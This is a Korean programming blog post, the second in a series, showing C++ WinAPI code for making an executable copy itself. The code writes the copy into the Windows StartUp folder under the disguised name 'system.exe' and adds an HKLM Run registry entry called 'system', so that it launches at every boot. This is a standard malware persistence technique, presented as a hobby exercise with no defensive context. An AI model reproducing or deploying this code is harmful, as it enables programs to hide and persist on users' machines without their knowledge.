🧼C, C++/WinAPI, UX(UI)
파일 자가복제 C++ #2
개발환경 >> DevCpp
언어 >> C++11 WINAPI 64bit
운영체제 >> Windows10
[[[ 지난 글 ]]]
안녕하세요~!!!!
이번에는 레지스트리 관련 함수를 공부하고 왔어요
이걸 이용해서 저번보다 더 쉽게 만들 수 있더라고요
그럼 파일자가복제(SelfDuplicate) 두 번째 글 시작하겠습니다..!
[[[ 소스코드 ]]]
#include <windows.h>
#define PSIZE 1024
int main(){
char MF[PSIZE]={0};
GetModuleFileName(0,MF,PSIZE);
//현재 실행모듈의 이름가져오기
CopyFile(MF,"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\system.exe",0);
//API 파일복사함수
HKEY hKey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_WRITE, &hKey);
//레지스트리키 열기
RegSetValueEx(hKey,"system",0,REG_SZ,(BYTE*)MF,PSIZE);
//레지스트리키 값설정
RegCloseKey(hKey);
//레지스트리키 닫기
}
실행해보고 레지스트리 시작프로그램 스케쥴러를 확인해보면?!?!?!?!?
와웅~~~~
그리고 라이브러리 쪽도 확인해 보면?!?!?!?
와웃~~~~~~~~~~~
그러면 오늘은 많이 피곤한 관계로 여기서 맞히겠습니다 ㅠㅠ!!
감사합니다~!!!!
'🧼C, C++ > WinAPI, UX(UI)' 카테고리의 다른 글
이미지 픽셀정보 직렬화 - C++ / GDI+ (0) | 2021.04.15 |
---|---|
png파일 출력하기 WINAPI C++ (0) | 2021.04.13 |
WINAPI C++ #2 (0) | 2020.11.07 |
WINAPI C++ #1 (0) | 2020.11.04 |
무한HP 핵 만들기 Win32API (0) | 2020.10.18 |
댓글